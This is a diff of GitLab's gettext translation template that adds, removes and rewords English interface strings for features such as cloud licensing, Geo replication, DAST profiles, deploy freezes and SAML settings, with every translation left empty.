+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5769,6 +5960,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5778,12 +5972,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6426,6 +6626,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6459,6 +6662,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6492,9 +6737,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6513,12 +6755,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7068,6 +7319,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7777,6 +8031,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7840,6 +8097,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8125,6 +8385,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8157,9 +8420,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8244,6 +8504,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8262,6 +8525,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8329,6 +8595,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8551,6 +8820,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8596,9 +8868,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8656,9 +8925,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8713,12 +8991,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8752,6 +9039,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8761,19 +9051,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8918,9 +9204,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8942,6 +9225,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -9095,6 +9381,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9158,6 +9447,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9462,8 +9754,12 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9558,6 +9854,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9627,6 +9926,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9687,6 +9992,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9720,6 +10028,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9750,12 +10061,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9835,6 +10158,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9865,6 +10191,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10294,13 +10623,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10411,9 +10746,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10441,9 +10773,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10559,9 +10888,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10721,13 +11047,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10742,7 +11068,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10998,6 +11324,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11241,6 +11570,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11253,6 +11585,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11472,6 +11807,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11496,6 +11834,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11508,6 +11849,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11520,6 +11864,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11631,6 +11978,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11700,9 +12050,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12330,19 +12677,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12351,7 +12698,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12462,9 +12809,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12531,6 +12875,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12600,6 +12947,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12612,12 +12962,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12645,9 +12989,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12669,13 +13010,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12774,6 +13118,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12801,9 +13148,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12852,9 +13205,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12909,9 +13259,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13297,10 +13644,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13333,7 +13680,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13435,6 +13782,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13483,12 +13833,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13498,9 +13851,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13525,6 +13875,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13534,6 +13887,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13549,6 +13905,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13567,9 +13926,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13831,6 +14187,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13873,9 +14232,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13900,6 +14265,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13933,6 +14307,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13960,6 +14340,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13972,6 +14355,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13999,6 +14406,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -14011,6 +14421,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -14044,6 +14457,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -14089,6 +14505,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14218,6 +14637,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14341,6 +14766,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14383,9 +14826,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14515,16 +14955,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14536,6 +14973,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14593,6 +15033,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14674,9 +15120,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14779,9 +15222,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14797,7 +15246,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14893,9 +15345,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -15091,9 +15540,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15229,9 +15675,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15414,6 +15857,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15582,6 +16028,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15746,9 +16198,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15798,12 +16247,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15813,9 +16265,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16401,6 +16850,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16573,6 +17025,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16618,9 +17073,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16645,6 +17097,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16681,9 +17136,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16879,7 +17331,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
